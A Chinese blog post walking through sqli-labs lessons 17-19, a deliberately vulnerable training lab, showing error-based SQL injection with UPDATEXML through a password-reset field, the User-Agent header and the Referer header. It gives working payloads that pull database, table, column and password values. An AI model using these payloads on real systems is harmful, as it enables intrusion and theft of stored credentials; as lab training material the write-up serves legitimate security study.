码迷,mamicode.com
首页 > 数据库 > 详细

sql-lib闯关之lesson17-19

时间:2020-03-02 22:30:28      阅读:136      评论:0      收藏:0      [点我收藏+]

标签:查找   ror   pos   注入   where   column   处理   select   头部   

闯关前的知识铺垫

参考链接:

https://www.jb51.net/article/125599.htm

https://www.jb51.net/article/125607.htm


UPDATEXML(XML document,XPath string,new value);
第一个参数:XML document 是String 格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath string(Xpath格式的字符串),如果不了解Xpath语法,可以网上查找。
第三个参数:new value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值。
改变XML document中符合XPATH string的值
而我们的注入语句为:
select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);
其中concat()函数是将其连接成一个字符串,因此不会复合XPATH string的格式,从而出现格式错误,报出
ERROR 1105(HY000):XPATH syntax error:‘~Dumb~’


LESS17

我们在17关的源码中加入以下代码。
技术图片

 

 加入这两行是为了便于观察,在执行操作后,显示源码
我们进入17关观察以下
技术图片

 

 这次是密码重置了,也就是修改密码。
同样我们通过burp抓到post的数据包
技术图片

 

 uname=admin&passwd=adimin&submit=Submit
技术图片

 

 


 代码中使用了get_magic_quotes_gpc name和password分开验证,而且在验证的时候对于name进行了过滤处理,将’进行了转义,所以只能在password处注入。

首先我们要知道用户的名字(前提)然后才可以接着进行下面的操作,即在password处进行sql注入。
通过上面补充的知识。我们来构造sql注入语句。
select updatexml(1,concat(0x7e,(构造语句)),1);
select updatexml(1,concat(0x7e,(构造语句),0x7e),1);   跟上面就是多了个~而已 也就是0x7e
构造语句中填写的就是老生常谈的查库查表查列查字段了,但是要注意在最后面加上 limit0,1 

查找当前所在数据库:
输入:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(database())),1)#&submit=Submit
技术图片

 

 查库
输入:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 7,1),0x7e),1)#&submit=Submit
技术图片

 

 


查表
输入:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security‘  limit 3,1),0x7e),1)#&submit=Submit
查列
输入:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users‘  limit 4,1),0x7e),1)#&submit=Submit

查字段
输入:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e),1)#&submit=Submit
技术图片

 

 这样输入竟然错误了,提示我们 你不能在FROM句子中为update 指定目标表 users
网上查一下结局方法
输入:uname=admin&passwd=a‘ and updatexml(1,concat(0x7e,(select password from (select password from security.users limit 0,1)users),0x7e),1)#&submit=Submit
技术图片

 

 应该是不可以直接查询security.users 要select 查security 才可以,用两个选择(select)

LESS18

技术图片

 

 刚刚进入18关,通过我们常用的admin 登录,竟然登录失败了,原来是我们在17关把admin的密码更改了,所以登录不上去。我们可以在首页点击第二个,重置数据库,就可以了。


技术图片

 

 再次登录我们发现登录成功了
技术图片

 

 

通过观察这两次,不难发现

登陆成功:显示ip地址和浏览器版本信息

登陆失败:只显示ip地址

这次我们依旧尝试在密码和账户名后加上 ‘ #,我们发现这次都进行了转意,所以就不能使用sql注入了
技术图片

 

 

 

 18关同样进行输出,最后测试发现可以在http头部user-agent的地方注入。

注意:我在这里使用的都是burpsuite,其实可以用火狐的插件:http header live 虽然用法有区别,但是原理都是一样的。

抓包之后右键发送到Repeater:
技术图片

 

  然后在数据包的headers部分修改user-agent构造注入语句:
技术图片

 

  查当前数据库:‘or updatexml(1,concat(0x7e,(database())),1) or ‘1‘=‘1(注意闭合)
技术图片

 

 或者‘or updatexml(1,concat(0x7e,(database())),1) ,",")#   闭合sql语句
后面的和上一关相同,可以参考。


LESS19


技术图片

 

 这一关和上一关类似, 登录成功的返回信息变为

Your Referer is: http://localhost/sqli-labs-master/Less-19/




抓包:‘ or updatexml(1,concat(0x7e,(database())),1) and ‘1‘=‘1或者‘ or updatexml(1,concat(0x7e,(database())),1), ‘’)# 

技术图片

 

 

 

sql-lib闯关之lesson17-19

标签:查找   ror   pos   注入   where   column   处理   select   头部   

原文地址:https://www.cnblogs.com/c1047509362/p/12398298.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!